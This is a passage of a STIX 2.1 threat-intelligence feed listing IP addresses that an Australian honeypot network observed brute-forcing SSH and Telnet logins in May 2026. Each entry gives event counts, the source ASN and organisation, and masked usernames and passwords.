      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 1136. Organisation(s): KPN B.V.. Usernames observed (masked): s******n, r**t, 3**********4, a***n, a****w. Passwords observed (masked): 1**4, 1******8, 1******m, 3***********4, 3**********4.",
      "id": "indicator--aa5aa871-75a8-425d-a47d-ef68943b95d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.169.135.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--0d375ec7-7314-462a-a7a4-93b913ff0f55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.191.146.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--7bd1d2ee-2a5c-48da-8a02-6ee56cc7806e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.185.200.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137172. Organisation(s): ALL CONNECT NETWORK SERVICES PRIVATE LIMITED.",
      "id": "indicator--ad7cc97f-a512-419e-9c63-8fbf37585fe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.213.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--fb6a9da6-b76e-4e7f-8df6-5728f4776f2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.74.21.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 5432. Organisation(s): Proximus NV.",
      "id": "indicator--011ea97f-bfa0-47d0-b332-b7a2546ec6dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.130.28.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2fbcfdb3-6d74-4404-8a1c-1b97295a0a87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.74.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4673542e-e0de-4684-8eec-c9798eba7328",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.123.98.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c0dd9c47-b6a0-4949-85d9-d555679ae28d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.61.136.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e7076648-fb1a-4acd-9e59-a32033fddef1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.168.184.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--9ace189b-5136-45a1-bd21-555309fd41cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.113.147.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--16c24037-8027-4888-9e1f-1a4f0141362e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.229.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): s******n, 3**********4, a***n, ***, f*****r. Passwords observed (masked): 1**4, 1******8, 1******m, 3***********4, 3**********4.",
      "id": "indicator--b77245de-a12c-4055-aca0-14681e8adb97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.174.5.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--80ac0a39-2bcc-4ac5-9918-e01223bbd660",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.32.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 209442. Organisation(s): FASTNET ALBANIA Sh.p.k.",
      "id": "indicator--cc3e9a6e-9c39-4e13-b1b8-30c79dbe9515",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.221.253.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dd2d61e4-1d95-43f7-affc-8ff2de67c94b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.4.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8f23d182-a6b3-4e59-afdb-1cf2583cdfe2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.202.103.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--53c64478-acab-4802-8d40-ac18f76c5ad5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.222.228.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--3abaad2c-182f-4770-a27e-0038e8dd6c98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS. Usernames observed (masked): b*********************************************************************************************************************************************************************************************************************************'. Passwords observed (masked): ***, b*************************************************************************************************************************************************************************************************\".",
      "id": "indicator--38e02fd9-12bf-4754-bc64-9bed22afbcad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--7c2850ed-6643-4ef0-af2c-91bffa35455e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 41668. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--39b93440-7597-4ed2-abcc-feab5bdca5b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.180.250.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:15:05.000Z",
      "valid_until": "2026-06-24T14:15:03.000Z"
    },
    {
      "created": "2026-05-23T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 197695. Organisation(s): Domain names registrar REG.RU, Ltd.",
      "id": "indicator--b41e1ee4-6e9d-44cb-ae8a-335f2894cf3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.182.110.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T15:15:10.000Z",
      "valid_until": "2026-06-24T15:15:08.000Z"
    },
    {
      "created": "2026-05-23T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, ***, 3**********4, o******r, u****e. Passwords observed (masked): 1******8, 1*******9, 3***********4, 3**********4, 5*******..",
      "id": "indicator--47c926c7-0f10-4eb6-adc5-3d2e0f47923b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.170.223.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T15:15:10.000Z",
      "valid_until": "2026-06-24T15:15:08.000Z"
    },
    {
      "created": "2026-05-23T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--f680e197-8f48-431a-8977-033f955a9937",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.133.88.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T15:15:10.000Z",
      "valid_until": "2026-06-24T15:15:08.000Z"
    },
    {
      "created": "2026-05-23T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--552739cb-2316-4269-bdfb-7bc28db10fae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.228.218.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T15:15:10.000Z",
      "valid_until": "2026-06-24T15:15:08.000Z"
    },
    {
      "created": "2026-05-23T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 147. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268137. Organisation(s): Net Sini Fiber Home Telecomunicacao LTDA - me. Usernames observed (masked): r**t, t**t, ***, 3**********4, 7***s. Passwords observed (masked): 1****6, 1*******9, 3***********4, 3**********4, 5*******..",
      "id": "indicator--cf770ad4-e995-4b67-92dd-1048391f03e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.169.200.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T15:15:10.000Z",
      "valid_until": "2026-06-24T15:15:08.000Z"
    },
    {
      "created": "2026-05-23T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 15640. Organisation(s): MTS PJSC.",
      "id": "indicator--8e734322-7dde-4010-8ad5-bfe691f3b505",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.16.41.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T15:15:10.000Z",
      "valid_until": "2026-06-24T15:15:08.000Z"
    },
    {
      "created": "2026-05-23T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 181. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11427. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t, 3**********4, ***, ***, **. Passwords observed (masked): 3***********4, 3**********4, !**********D, *, 1**4.",
      "id": "indicator--5c074d32-2d33-45c5-a602-e17396d66a4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.120.203.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T15:15:10.000Z",
      "valid_until": "2026-06-24T15:15:08.000Z"
    },
    {
      "created": "2026-05-23T16:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 38001. Organisation(s): NewMedia Express Pte Ltd. Usernames observed (masked): r**t, o********n, 3**********4, a**x, a***t. Passwords observed (masked): 1*******n, 3***********4, 3**********4, A******0, A*******3.",
      "id": "indicator--f7f91d40-9e10-493a-9de0-19709e937b77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.14.79.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:15:31.000Z",
      "valid_until": "2026-06-24T16:15:08.000Z"
    },
    {
      "created": "2026-05-23T16:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd. Usernames observed (masked): r**t, u**r, 3**********4, a***t, b****r. Passwords observed (masked): 1*******m, 1***5, 1****6, 1******8, 1*******D.",
      "id": "indicator--454bc667-9261-40e4-9ed7-2103c0480a91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.187.26.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:15:31.000Z",
      "valid_until": "2026-06-24T16:15:08.000Z"
    },
    {
      "created": "2026-05-23T16:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--ff438715-b93c-42c1-bee9-f541a282ea04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.40.84.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:15:31.000Z",
      "valid_until": "2026-06-24T16:15:08.000Z"
    },
    {
      "created": "2026-05-23T16:15:31.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: GB. ASN(s): 210924. Organisation(s): SSD Networks Limited.",
      "id": "indicator--35d87f70-4615-428f-840e-abd05a1ecfd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.96.138.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:15:31.000Z",
      "valid_until": "2026-06-24T16:15:08.000Z"
    },
    {
      "created": "2026-05-23T16:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--131e0f41-9ed1-438b-be58-607f6a5d2b2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.26.98.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:15:31.000Z",
      "valid_until": "2026-06-24T16:15:08.000Z"
    },
    {
      "created": "2026-05-23T16:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--0d3dbba8-2c8d-4422-8adf-1f9cb5908186",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:15:31.000Z",
